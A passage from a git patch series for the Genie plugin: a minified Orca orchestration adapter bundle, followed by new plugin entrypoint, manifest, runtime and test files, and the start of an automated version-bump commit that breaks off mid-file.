W===!0?[$]:[]}function MW($){let W=DW.safeParse($);if(!W.success){let J=p3($);throw new A(J===void 0?"invalid_operation":"invalid_argument",J??"runtime","validate","safe","Correct the semantic input and retry.",W.error.issues.map((Q)=>Q.message).join("; "))}let H=W.data,G=i3(H);return Object.freeze(["orchestration",H.operation,...G,"--json"])}function p3($){if(typeof $!=="object"||$===null||!("operation"in $))return;let W=$.operation;return u3.find((H)=>H===W)}function i3($){switch($.operation){case"run-create":return K("--objective",$.objective);case"run-list":return[...O("--limit",$.limit),...O("--cursor",$.cursor)];case"run-show":case"run-use":return K("--id",$.id);case"run-current":return[];case"task-create":return[...K("--spec",$.spec),...O("--task-title",$.title),...$.deps===void 0?[]:K("--deps",JSON.stringify($.deps)),...O("--parent",$.parent)];case"task-list":return[...O("--status",$.status),...E$("--ready",$.ready),...E$("--brief",$.brief)];case"task-update":return[...K("--id",$.id),...K("--status",$.status),...$.result===void 0?[]:K("--result",JSON.stringify($.result))];case"worker-start":return[...K("--task",$.task),"--worktree","current",...K("--agent",$.agent),...O("--model",$.model),...O("--effort",$.effort),...O("--timeout-ms",$.timeoutMs)];case"worker-show":case"worker-release":return K("--dispatch",$.dispatch);case"worker-read":return[...K("--dispatch",$.dispatch),...O("--source",$.source),...O("--cursor",$.cursor),...O("--limit",$.limit)];case"send":return[...K("--subject",$.subject),...O("--body",$.body),...O("--type",$.type),...O("--priority",$.priority),...O("--thread-id",$.threadId),...$.payload===void 0?[]:K("--payload",JSON.stringify($.payload))];case"check":return[...O("--ack",$.ack),...E$("--unread",$.unread),...E$("--peek",$.peek),...E$("--all",$.all),...$.types===void 0?[]:K("--types",$.types.join(",")),...E$("--wait",$.wait),...O("--timeout-ms",$.timeoutMs)];case"reply":return[...K("--id",$.id),...K("--body",$.body)];case"ask":return[...$.question===void 0?K("--resume",$.resume):K("--question",$.question),...$.options===void 0?[]:K("--options",$.options.join(",")),...O("--timeout-ms",$.timeoutMs)];case"gate-create":return[...K("--task",$.task),...K("--question",$.question),...$.options===void 0?[]:K("--options",JSON.stringify($.options))];case"gate-list":return[...O("--task",$.task),...O("--status",$.status)];case"gate-resolve":return[...K("--id",$.id),...K("--resolution",$.resolution)]}}function s3($={}){let W=$.platform??process.platform;if(W==="win32")return"orca.exe";if(W==="darwin")return"orca";if(W==="linux")return $.managedTerminal===!0?"orca":"orca-ide";throw new A("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${W}`)}var r3=30000,o3=1048576,a3=65536,t3=1000,e3=1000,VW=async($)=>new Promise((W,H)=>{let G=c3($.executable,[...$.argv],{shell:$.shell,env:$.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),J=[],Q=[],X=0,Y=0,q=!1,j=!1,V=!1,g=!1,P,k,m$=(h)=>{if(q)return;if(q=!0,clearTimeout(t$),P!==void 0)clearTimeout(P);if(k!==void 0)clearTimeout(k);W(h)},Z$=()=>{G.kill("SIGTERM"),P??=setTimeout(()=>{G.kill("SIGKILL"),k??=setTimeout(()=>m$({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(J).toString("utf8"),stderr:Buffer.concat(Q).toString("utf8"),timedOut:j,outputLimited:V,transportLost:!0}),e3)},t3)},t$=setTimeout(()=>{j=!0,Z$()},$.timeoutMs);G.stdout.on("data",(h)=>{if(X+=h.length,X>$.maxStdoutBytes)V=!0,Z$();else J.push(h)}),G.stderr.on("data",(h)=>{if(Y+=h.length,Y>$.maxStderrBytes)V=!0,Z$();else Q.push(h)}),G.once("spawn",()=>{g=!0}),G.once("error",(h)=>{if(q)return;if(g){m$({exitCode:null,stdout:Buffer.concat(J).toString("utf8"),stderr:`${Buffer.concat(Q).toString("utf8")} +process transport error: ${h.message}`,timedOut:j,outputLimited:V,transportLost:!0});return}if(q=!0,clearTimeout(t$),P!==void 0)clearTimeout(P);if(k!==void 0)clearTimeout(k);H(h)}),G.once("close",(h,OW)=>{if(q)return;m$({exitCode:h,signal:OW,stdout:Buffer.concat(J).toString("utf8"),stderr:Buffer.concat(Q).toString("utf8"),timedOut:j,outputLimited:V})})}),x$=R,b=($)=>U.object($).strict(),d$=b({id:R,objective:l.optional(),coordinatorTerminalHandle:x$.optional()}),$0=b({id:R,spec:l,title:s.optional(),deps:$$(R,64).optional(),parent:R.optional(),status:p$,result:LW.optional()}),W0=b({id:R,taskId:R,agent:RW.optional(),model:zW.optional(),effort:NW.optional(),state:W$.optional(),terminalDisposition:U.enum(["released","retained"]).optional()}),H0=b({id:R,taskId:R,question:s,options:$$(W$,10,1).optional(),status:SW,resolution:l.optional()}),jW=b({messageId:R}),J0=U.union([b({messageId:R,state:U.literal("answered"),answer:l}),b({messageId:R,state:U.literal("pending")})]),G0=b({deliveryId:R.optional(),acknowledged:U.boolean().optional(),messages:U.array(b({id:R,type:T$,subject:s})).max(50).optional(),count:U.number().int().min(0).max(50).optional()}),Q0={"run-create":b({runId:R}),"run-list":b({runs:U.array(d$).max(100),cursor:I$.optional()}),"run-show":b({run:d$}),"run-current":b({run:d$,coordinatorTerminalHandle:x$}),"run-use":b({runId:R,coordinatorTerminalHandle:x$}),"task-create":b({taskId:R}),"task-list":b({tasks:U.array($0).max(100)}),"task-update":b({taskId:R}),"worker-start":b({dispatchId:R,taskId:R}),"worker-show":b({dispatch:W0}),"worker-read":b({dispatchId:R,source:UW,output:l,cursor:I$.optional()}),"worker-release":b({dispatchId:R}),send:jW,check:G0,reply:jW,ask:J0,"gate-create":b({gateId:R,taskId:R}),"gate-list":b({gates:U.array(H0).max(100)}),"gate-resolve":b({gateId:R,taskId:R})},X0=U.object({id:U.string().min(1).max(256),ok:U.boolean(),result:U.unknown().optional(),error:U.object({code:U.string().min(1).max(128),message:U.string().min(1).max(4096)}).strict().optional(),_meta:U.object({runtimeId:R,runtimeVersion:s.optional(),version:s.optional(),invokingTerminal:x$.optional()}).strict().optional()}).strict().refine(($)=>$.ok?$.result!==void 0&&$.error===void 0:$.result===void 0&&$.error!==void 0);function H$($,W,H){return new A("ambiguous_after_possible_commit",$,W,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",H)}function Y0($,W,H){let G;try{G=q0(W)}catch{if(H)throw H$($,"decode","stdout was not one JSON document");throw new A("malformed_json",$,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was not one JSON document")}let J=X0.safeParse(G);if(!J.success){if(H)throw H$($,"decode","stdout did not match the Orca envelope contract");throw new A("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract")}if(J.data.ok){if(!Q0[$].safeParse(J.data.result).success){if(H)throw H$($,"receipt",`success result did not match the finite ${$} response contract`);throw new A("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${$} response contract`)}}return J.data}function q0($){let W=[],H=!1,G=0;while(G<$.length){let J=$[G];if(J==='"'){let Q=G;G+=1;while(G<$.length)if($[G]==="\\")G+=2;else if($[G]==='"')break;else G+=1;if(G>=$.length)throw Error("unterminated JSON string");if(H){let X=JSON.parse($.slice(Q,G+1)),Y=W.at(-1);if(Y===null||Y===void 0||Y.has(X))throw Error("duplicate JSON key");Y.add(X),H=!1}}else if(J==="{")W.push(new Set),H=!0;else if(J==="[")W.push(null);else if(J==="}")W.pop();else if(J==="]")W.pop();else if(J===","&&W.at(-1)instanceof Set)H=!0;G+=1}return JSON.parse($)}var i$=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function s$($,W){return $==="check"&&typeof W==="object"&&W!==null&&"ack"in W}function E($){return $}function _0($,W){let H=E(W);return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[$]??[]).flatMap((J)=>typeof H[J]==="string"?[[J,H[J]]]:[])))}function B0($,W){if($.operation==="run-use"){let H=E(W);return{operation:{operation:"run-current"},matches:(G)=>{let J=E(G),Q=E(J.run);return H.runId===$.id&&Q.id===$.id&&H.coordinatorTerminalHandle===J.coordinatorTerminalHandle}}}if($.operation==="gate-resolve"){let H=E(W);return{operation:{operation:"gate-list",task:$.task},matches:(G)=>{if(H.gateId!==$.id||H.taskId!==$.task)return!1;let J=E(G).gates;if(!Array.isArray(J))return!1;let Q=J.map(E).filter((X)=>X.id===$.id);return Q.length===1&&Q[0].taskId===$.task&&Q[0].status==="resolved"&&Q[0].resolution===$.resolution}}}if($.operation==="worker-release"){let H=E(W);return{operation:{operation:"worker-show",dispatch:$.dispatch},matches:(G)=>{let J=E(E(G).dispatch);return H.dispatchId===$.dispatch&&J.id===$.dispatch&&["released","retained"].includes(String(J.terminalDisposition))}}}if($.operation==="run-create"){let H=E(W).runId;return{operation:{operation:"run-show",id:String(H)},matches:(G)=>{let J=E(E(G).run);return J.id===H&&J.objective===$.objective}}}if($.operation==="task-create"||$.operation==="task-update"){let H=E(W),G=$.operation==="task-create"?H.taskId:$.id;return{operation:{operation:"task-list"},matches:(J)=>{if(H.taskId!==G)return!1;let Q=E(J).tasks;if(!Array.isArray(Q))return!1;let X=Q.map(E).filter((q)=>q.id===G);if(X.length!==1)return!1;let Y=X[0];return $.operation==="task-create"?Y.spec===$.spec&&Y.title===$.title&&JSON.stringify(Y.deps??[])===JSON.stringify($.deps??[])&&Y.parent===$.parent:Y.status===$.status&&JSON.stringify(Y.result)===JSON.stringify($.result)}}}if($.operation==="worker-start"){let H=E(W),G=H.dispatchId;return{operation:{operation:"worker-show",dispatch:String(G)},matches:(J)=>{let Q=E(E(J).dispatch);return H.taskId===$.task&&Q.id===G&&Q.taskId===$.task&&Q.agent===$.agent&&Q.model===$.model&&Q.effort===$.effort}}}if($.operation==="gate-create"){let H=E(W),G=H.gateId;return{operation:{operation:"gate-list",task:$.task},matches:(J)=>{let Q=E(J).gates;if(!Array.isArray(Q))return!1;if(H.taskId!==$.task)return!1;let X=Q.map(E).filter((q)=>q.id===G);if(X.length!==1)return!1;let Y=X[0];return Y?.taskId===$.task&&Y.question===$.question&&JSON.stringify(Y.options)===JSON.stringify($.options)}}}return}function M0($,W,H){let G=s$($,W),J=i$.has($)||G;if(H.outputLimited||H.transportLost){if(J)return H$($,"execute",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");return wW($,H.outputLimited?"output_limit":"process_exit",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response")}if(H.timedOut)return J?H$($,"execute","Orca did not finish before the deadline"):wW($,"timeout","Orca did not finish before the deadline");if(H.exitCode!==0){if(J)return new A("ambiguous_after_possible_commit",$,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr);return new A("process_exit",$,"execute",J?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr.slice(-4096))}return}function wW($,W,H){return new A(W,$,"execute","safe","Retry the read-only operation when Orca is healthy.",H)}function KW($={}){let W=Object.freeze({...$.env??process.env}),H=s3({platform:$.platform,managedTerminal:$.managedTerminal??W.TERM_PROGRAM==="Orca"}),G=$.executor??VW,J=$.timeoutMs??r3,Q=$.now??(()=>new Date),X=async(Y)=>{let q=MW(Y),j;try{j=await G({executable:H,argv:q,shell:!1,timeoutMs:J,maxStdoutBytes:o3,maxStderrBytes:a3,env:W})}catch(k){throw new A("executable_unavailable",Y.operation,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",k instanceof Error&&"code"in k?`Orca execution failed (${String(k.code)})`:"Orca execution failed")}j={...j,stderr:U0(j.stderr,Y,W)};let V=i$.has(Y.operation)||s$(Y.operation,Y),g=M0(Y.operation,Y,j);if(g!==void 0)throw g;let P=Y0(Y.operation,j.stdout,V);if(!P.ok){let k=a$(P.error?.message??"Orca returned an error envelope",Y,W);if(V)throw H$(Y.operation,"decode",k);throw new A("unexpected_response",Y.operation,"decode",V?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",k)}return P};return Object.freeze({executable:H,async execute(Y){let q=DW.safeParse(Y);if(!q.success)throw MW(Y),Error("unreachable");let j=q.data,V=Q().toISOString(),g=await X(j);if(!i$.has(j.operation)&&!s$(j.operation,j))return g;return j0(j,g,V,X,Q,W)}})}async function j0($,W,H,G,J,Q){z0($,W);let X=B0($,W.result);if(X!==void 0){let j;try{j=await G(X.operation)}catch(V){throw w0($,X.operation.operation,V,Q)}if(!X.matches(j.result))throw new A("readback_mismatch",$.operation,"readback","unsafe",`Inspect state with orchestration ${X.operation.operation}; do not retry the mutation automatically.`,`${X.operation.operation} disagreed with the mutation receipt`)}let Y=W._meta,q=Object.freeze({verb:$.operation,ids:_0($.operation,W.result),runtimeId:Y.runtimeId,runtimeVersion:Y.runtimeVersion,startedAt:H,completedAt:J().toISOString(),readbackVerb:X?.operation.operation??null});return Object.freeze({...W,receipt:q})}function w0($,W,H,G){if(!(H instanceof A))return new A("unexpected_response",$.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${W}; do not retry the mutation automatically.`,`${W} failed after Orca returned a valid mutation receipt`);return new A(H.code,$.operation,"readback","readback-required",`Repeat or inspect orchestration ${W}; do not retry the mutation automatically.`,a$(`${W} failed after Orca returned a valid mutation receipt: ${H.message}`,$,G),H.stderr)}function z0($,W){if(W._meta?.runtimeId===void 0||W._meta.runtimeVersion===void 0)throw H$($.operation,"receipt","mutation receipt omitted bounded runtime identity/version metadata");if(!S0($,W.result))throw new A("readback_mismatch",$.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if($.operation==="check"&&$.ack!==void 0&&E(W.result).acknowledged!==!0)throw H$($.operation,"receipt","check --ack success did not contain its matching delivery identifier");if($.operation==="run-use"&&E(W.result).coordinatorTerminalHandle!==W._meta.invokingTerminal)throw new A("readback_mismatch",$.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function S0($,W){let H=E(W);switch($.operation){case"run-use":return H.runId===$.id;case"task-update":return H.taskId===$.id;case"worker-start":return H.taskId===$.task;case"worker-release":return H.dispatchId===$.dispatch;case"reply":return H.messageId===$.id;case"ask":return $.resume===void 0||H.messageId===$.resume;case"check":return $.ack===void 0||H.deliveryId===$.ack;case"gate-create":return H.taskId===$.task;case"gate-resolve":return H.gateId===$.id&&H.taskId===$.task;default:return!0}}function U0($,W,H){return a$($,W,H)}function a$($,W,H){let G=[...$].filter((q)=>{let j=q.charCodeAt(0);return j===9||j===10||j===13||j>=32&&j!==127&&j<128||j>159}).join(""),J=r$(W),Q=Object.entries(H).filter(([q,j])=>j!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(q)).map(([,q])=>q),X=Object.values(H).flatMap((q)=>q===void 0?[]:R0(q));for(let q of[...J,...Q,...X].filter((j)=>j.length>=3).sort((j,V)=>V.length-j.length))G=G.split(q).join("[REDACTED]");let Y=Buffer.from(G,"utf8");return Y.length<=4096?G:Buffer.concat([Buffer.from("[truncated] "),Y.subarray(Y.length-4084)]).toString("utf8")}function R0($){try{let W=new URL($);if(W.password.length===0)return[];try{return[W.password,decodeURIComponent(W.password)]}catch{return[W.password]}}catch{return[]}}function r$($){if(typeof $==="string")return[$];if(Array.isArray($))return $.flatMap(r$);if(typeof $==="object"&&$!==null)return Object.values($).flatMap(r$);return[]}function y$(){return KW()}var t0=Object.freeze({createAdapter:KW,spawnOrcaProcess:VW});var N0="1.4.193",L0="orchestration.contract.v1";function EW($){return new A("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",$)}function bW($){let W=/^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec($);if(W===null)return;return W.slice(1).map(Number)}function D0($,W){let H=bW($),G=bW(W);if(H===void 0||G===void 0)return!1;for(let J=0;J<3;J+=1)if(H[J]!==G[J])return H[J]>G[J];return!0}async function FW($){try{let W=await $.execute({operation:"run-list",limit:1}),H=W._meta?.runtimeId,G=W._meta?.runtimeVersion;if(H===void 0||G===void 0||!D0(G,N0))throw EW("Orca runtime compatibility metadata is absent or outside the supported range.");return Object.freeze({runtimeId:H,runtimeVersion:G,contract:L0})}catch(W){if(W instanceof A&&W.code==="unsupported_environment")throw W;throw EW("The Orca compatibility probe could not complete through the public adapter.")}}function AW($=y$()){return Object.freeze({probe:()=>FW($),async execute(W){return await FW($),$.execute(W)}})}var V0="genie.orca.run-list";function K0($=y$()){let W=AW($);return async(H)=>{H.commands.register(V0,()=>W.execute({operation:"run-list",limit:100}))}}var G1=K0();export{G1 as default,K0 as createOrcaPluginEntrypoint,V0 as ORCA_RUN_LIST_COMMAND}; diff --git a/plugins/genie/orca-entrypoint.ts b/plugins/genie/orca-entrypoint.ts new file mode 100644 index 000000000..06dc80b42 --- /dev/null +++ b/plugins/genie/orca-entrypoint.ts @@ -0,0 +1,22 @@ +import type { OrcaOrchestrationAdapter } from '../../src/lib/orca-orchestration-adapter'; +import { createOrcaOrchestrationAdapter } from '../../src/lib/orca-orchestration-adapter'; +import { createOrcaPluginRuntime } from './orca-runtime'; + +export const ORCA_RUN_LIST_COMMAND = 'genie.orca.run-list'; + +interface OrcaPluginActivationContext { + commands: { + register(commandId: string, handler: (args?: unknown) => Promise<unknown>): void; + }; +} + +export function createOrcaPluginEntrypoint( + adapter: OrcaOrchestrationAdapter = createOrcaOrchestrationAdapter(), +): (context: OrcaPluginActivationContext) => Promise<void> { + const runtime = createOrcaPluginRuntime(adapter); + return async (context) => { + context.commands.register(ORCA_RUN_LIST_COMMAND, () => runtime.execute({ operation: 'run-list', limit: 100 })); + }; +} + +export default createOrcaPluginEntrypoint(); diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json new file mode 100644 index 000000000..a3c35d3bc --- /dev/null +++ b/plugins/genie/orca-plugin.json @@ -0,0 +1,27 @@ +{ + "manifestVersion": 1, + "id": "genie", + "publisher": "automagik", + "name": "Genie", + "version": "5.260829.1", + "description": "Genie workflows backed by Orca as the sole lifecycle authority.", + "author": { + "name": "Namastex Labs", + "url": "https://github.com/automagik-dev" + }, + "repository": "https://github.com/automagik-dev/genie", + "engines": { + "orca": ">=1.4.193" + }, + "pluginApi": 1, + "main": "orca-entrypoint.min.js", + "contributes": { + "commands": [ + { + "id": "genie.orca.run-list", + "title": "Genie: List Orca Runs" + } + ] + }, + "capabilities": [] +} diff --git a/plugins/genie/orca-real-runtime-smoke.test.ts b/plugins/genie/orca-real-runtime-smoke.test.ts new file mode 100644 index 000000000..8bc93ba21 --- /dev/null +++ b/plugins/genie/orca-real-runtime-smoke.test.ts @@ -0,0 +1,96 @@ +import { expect, test } from 'bun:test'; +import { createHash, randomUUID } from 'node:crypto'; +import { readFile, readdir, stat } from 'node:fs/promises'; +import { resolve } from 'node:path'; +import { OrcaAdapterError } from '../../src/lib/orca-orchestration-adapter'; +import { createOrcaPluginRuntime } from './orca-runtime'; + +const runRealSmoke = process.env.GENIE_ORCA_REAL_RUNTIME_SMOKE === '1' ? test : test.skip; +const lifecyclePaths = [ + '.genie/genie.db', + '.genie/genie.db-wal', + '.genie/genie.db-shm', + '.genie/INDEX.md', + '.genie/wishes', +]; + +async function digestPath(path: string): Promise<string> { + try { + const metadata = await stat(path); + if (metadata.isDirectory()) { + const entries = (await readdir(path)).sort(); + const children = await Promise.all( + entries.map(async (entry) => `${entry}:${await digestPath(resolve(path, entry))}`), + ); + return createHash('sha256').update(children.join('\n')).digest('hex'); + } + return createHash('sha256') + .update(await readFile(path)) + .digest('hex'); + } catch (error) { + if (error instanceof Error && 'code' in error && error.code === 'ENOENT') return 'absent'; + throw error; + } +} + +async function snapshotLocalLifecycle(): Promise<Readonly<Record<string, string>>> { + return Object.freeze( + Object.fromEntries(await Promise.all(lifecyclePaths.map(async (path) => [path, await digestPath(path)]))), + ); +} + +function object(value: unknown): Record<string, unknown> { + if (typeof value !== 'object' || value === null || Array.isArray(value)) throw new Error('expected an object'); + return value as Record<string, unknown>; +} + +runRealSmoke( + 'real Orca runtime either completes the disposable flow or fails unsupported without mutation', + async () => { + const before = await snapshotLocalLifecycle(); + const runtime = createOrcaPluginRuntime(); + try { + await runtime.probe(); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + expect((error as OrcaAdapterError).code).toBe('unsupported_environment'); + expect(await snapshotLocalLifecycle()).toEqual(before); + console.warn('Orca real-runtime smoke: unsupported_environment (no local lifecycle mutation)'); + return; + } + + const prior = await runtime.execute({ operation: 'run-current' }); + const priorRunId = String(object(object(prior.result).run).id); + const suffix = randomUUID().replaceAll('-', '').slice(0, 12); + let disposableTaskId: string | undefined; + + try { + const createdRun = await runtime.execute({ + operation: 'run-create', + objective: `Genie A3 disposable smoke ${suffix}`, + }); + const disposableRunId = String(object(createdRun.result).runId); + const runReadback = await runtime.execute({ operation: 'run-show', id: disposableRunId }); + expect(object(object(runReadback.result).run).id).toBe(disposableRunId); + + const createdTask = await runtime.execute({ operation: 'task-create', spec: `Disposable A3 task ${suffix}` }); + disposableTaskId = String(object(createdTask.result).taskId); + await runtime.execute({ + operation: 'task-update', + id: disposableTaskId, + status: 'completed', + result: { summary: 'Disposable A3 real-runtime smoke settled successfully.' }, + }); + const tasks = object(await runtime.execute({ operation: 'task-list' }).then((response) => response.result)).tasks; + expect( + Array.isArray(tasks) && + tasks.some((task) => object(task).id === disposableTaskId && object(task).status === 'completed'), + ).toBe(true); + } finally { + await runtime.execute({ operation: 'run-use', id: priorRunId }); + } + + expect(disposableTaskId).toBeDefined(); + expect(await snapshotLocalLifecycle()).toEqual(before); + }, +); diff --git a/plugins/genie/orca-runtime.test.ts b/plugins/genie/orca-runtime.test.ts new file mode 100644 index 000000000..ad8186e05 --- /dev/null +++ b/plugins/genie/orca-runtime.test.ts @@ -0,0 +1,110 @@ +import { describe, expect, test } from 'bun:test'; +import { readFile } from 'node:fs/promises'; +import { resolve } from 'node:path'; +import type { OrcaOperation, OrcaOrchestrationAdapter } from '../../src/lib/orca-orchestration-adapter'; +import { ORCA_MINIMUM_RUNTIME_VERSION, createOrcaPluginRuntime } from './orca-runtime'; + +const response = (runtimeVersion = ORCA_MINIMUM_RUNTIME_VERSION) => ({ + id: 'response_1', + ok: true as const, + result: { runs: [] }, + _meta: { runtimeId: 'runtime_1', runtimeVersion }, +}); + +describe('native Orca plugin contract', () => { + test('discovers, loads, and invokes the public adapter through the native Orca entrypoint', async () => { + const manifest = JSON.parse(await readFile(resolve(import.meta.dir, 'orca-plugin.json'), 'utf8')); + expect(manifest).toMatchObject({ + manifestVersion: 1, + id: 'genie', + publisher: 'automagik', + engines: { orca: `>=${ORCA_MINIMUM_RUNTIME_VERSION}` }, + pluginApi: 1, + main: 'orca-entrypoint.min.js', + contributes: { + commands: [{ id: 'genie.orca.run-list', title: 'Genie: List Orca Runs' }], + }, + capabilities: [], + }); + + const entrypoint = await import(resolve(import.meta.dir, manifest.main)); + expect(entrypoint.default).toBeFunction(); + expect(entrypoint.createOrcaPluginEntrypoint).toBeFunction(); + + const calls: OrcaOperation[] = []; + const handlers = new Map<string, (args?: unknown) => Promise<unknown>>(); + const adapter: OrcaOrchestrationAdapter = { + executable: 'opaque-to-plugin', + execute: async (operation) => { + calls.push(operation as OrcaOperation); + return response(); + }, + }; + await entrypoint.createOrcaPluginEntrypoint(adapter)({ + commands: { register: (id: string, handler: (args?: unknown) => Promise<unknown>) => handlers.set(id, handler) }, + }); + + expect(await handlers.get('genie.orca.run-list')?.()).toEqual(response()); + expect(calls).toEqual([ + { operation: 'run-list', limit: 1 }, + { operation: 'run-list', limit: 100 }, + ]); + }); + + test('probes with one read-only public adapter call before allowing operations', async () => { + const calls: OrcaOperation[] = []; + const adapter: OrcaOrchestrationAdapter = { + executable: 'opaque-to-plugin', + execute: async (operation) => { + calls.push(operation as OrcaOperation); + return response(); + }, + }; + const runtime = createOrcaPluginRuntime(adapter); + + expect(await runtime.probe()).toEqual({ + runtimeId: 'runtime_1', + runtimeVersion: ORCA_MINIMUM_RUNTIME_VERSION, + contract: 'orchestration.contract.v1', + }); + expect(calls).toEqual([{ operation: 'run-list', limit: 1 }]); + }); + + test('converts every probe failure to unsupported_environment and never mutates', async () => { + for (const failure of [new Error('spawn denied'), response('1.3.999'), { ...response(), _meta: undefined }]) { + const calls: OrcaOperation[] = []; + const adapter: OrcaOrchestrationAdapter = { + executable: 'opaque-to-plugin', + execute: async (operation) => { + calls.push(operation as OrcaOperation); + if (failure instanceof Error) throw failure; + return failure; + }, + }; + + await expect(createOrcaPluginRuntime(adapter).probe()).rejects.toMatchObject({ + code: 'unsupported_environment', + operation: 'runtime', + phase: 'resolve', + retrySafety: 'safe', + }); + expect(calls).toEqual([{ operation: 'run-list', limit: 1 }]); + } + }); + + test('does not expose stores, fallback, argv, shells, dispatch injection, or executable selection', async () => { + const source = await readFile(resolve(import.meta.dir, 'orca-runtime.ts'), 'utf8'); + for (const forbidden of [ + 'node:child_process', + 'shell:', + 'Database', + 'dispatch --inject', + 'terminal send', + 'execPath', + 'executable:', + 'fallback', + ]) { + expect(source).not.toContain(forbidden); + } + }); +}); diff --git a/plugins/genie/orca-runtime.ts b/plugins/genie/orca-runtime.ts new file mode 100644 index 000000000..dcd575367 --- /dev/null +++ b/plugins/genie/orca-runtime.ts @@ -0,0 +1,79 @@ +import { + OrcaAdapterError, + type OrcaAdapterResponse, + type OrcaOperation, + type OrcaOrchestrationAdapter, + createOrcaOrchestrationAdapter, +} from '../../src/lib/orca-orchestration-adapter'; + +export const ORCA_MINIMUM_RUNTIME_VERSION = '1.4.193'; +export const ORCA_REQUIRED_CONTRACT = 'orchestration.contract.v1'; + +export interface OrcaPluginCompatibility { + readonly runtimeId: string; + readonly runtimeVersion: string; + readonly contract: typeof ORCA_REQUIRED_CONTRACT; +} + +export interface OrcaPluginRuntime { + probe(): Promise<OrcaPluginCompatibility>; + execute(operation: OrcaOperation): Promise<OrcaAdapterResponse>; +} + +function unsupportedEnvironment(message: string): OrcaAdapterError { + return new OrcaAdapterError( + 'unsupported_environment', + 'runtime', + 'resolve', + 'safe', + 'Run this plugin in a supported Orca host with the public orchestration contract and child-process access.', + message, + ); +} + +function versionParts(value: string): readonly number[] | undefined { + const match = /^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec(value); + if (match === null) return undefined; + return match.slice(1).map(Number); +} + +function versionAtLeast(actual: string, minimum: string): boolean { + const left = versionParts(actual); + const right = versionParts(minimum); + if (left === undefined || right === undefined) return false; + for (let index = 0; index < 3; index += 1) { + if (left[index] !== right[index]) return left[index] > right[index]; + } + return true; +} + +async function probe(adapter: OrcaOrchestrationAdapter): Promise<OrcaPluginCompatibility> { + try { + const response = await adapter.execute({ operation: 'run-list', limit: 1 }); + const runtimeId = response._meta?.runtimeId; + const runtimeVersion = response._meta?.runtimeVersion; + if ( + runtimeId === undefined || + runtimeVersion === undefined || + !versionAtLeast(runtimeVersion, ORCA_MINIMUM_RUNTIME_VERSION) + ) { + throw unsupportedEnvironment('Orca runtime compatibility metadata is absent or outside the supported range.'); + } + return Object.freeze({ runtimeId, runtimeVersion, contract: ORCA_REQUIRED_CONTRACT }); + } catch (error) { + if (error instanceof OrcaAdapterError && error.code === 'unsupported_environment') throw error; + throw unsupportedEnvironment('The Orca compatibility probe could not complete through the public adapter.'); + } +} + +export function createOrcaPluginRuntime( + adapter: OrcaOrchestrationAdapter = createOrcaOrchestrationAdapter(), +): OrcaPluginRuntime { + return Object.freeze({ + probe: () => probe(adapter), + async execute(operation: OrcaOperation): Promise<OrcaAdapterResponse> { + await probe(adapter); + return adapter.execute(operation); + }, + }); +} diff --git a/plugins/genie/plugin.json b/plugins/genie/plugin.json new file mode 100644 index 000000000..e695794f7 --- /dev/null +++ b/plugins/genie/plugin.json @@ -0,0 +1,20 @@ +{ + "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", + "name": "genie", + "description": "Genie workflows backed by Orca as the sole lifecycle authority.", + "author": { + "name": "Namastex Labs", + "url": "https://github.com/automagik-dev" + }, + "homepage": "https://github.com/automagik-dev/genie", + "repository": "https://github.com/automagik-dev/genie", + "license": "MIT", + "keywords": ["workflow", "orchestration", "orca", "skills", "agents"], + "extensions": { + "dev.orca.compatibility": { + "minimumRuntimeVersion": "1.4.193", + "requiredContract": "orchestration.contract.v1", + "transport": "public-cli" + } + } +} From c5a63d91f1b014222ad85f2b82414ac64f920de5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 19:26:02 +0000 Subject: [PATCH 08/45] chore(version): bump to 5.260829.3 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 3223daf23..5d22d358d 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.2", + 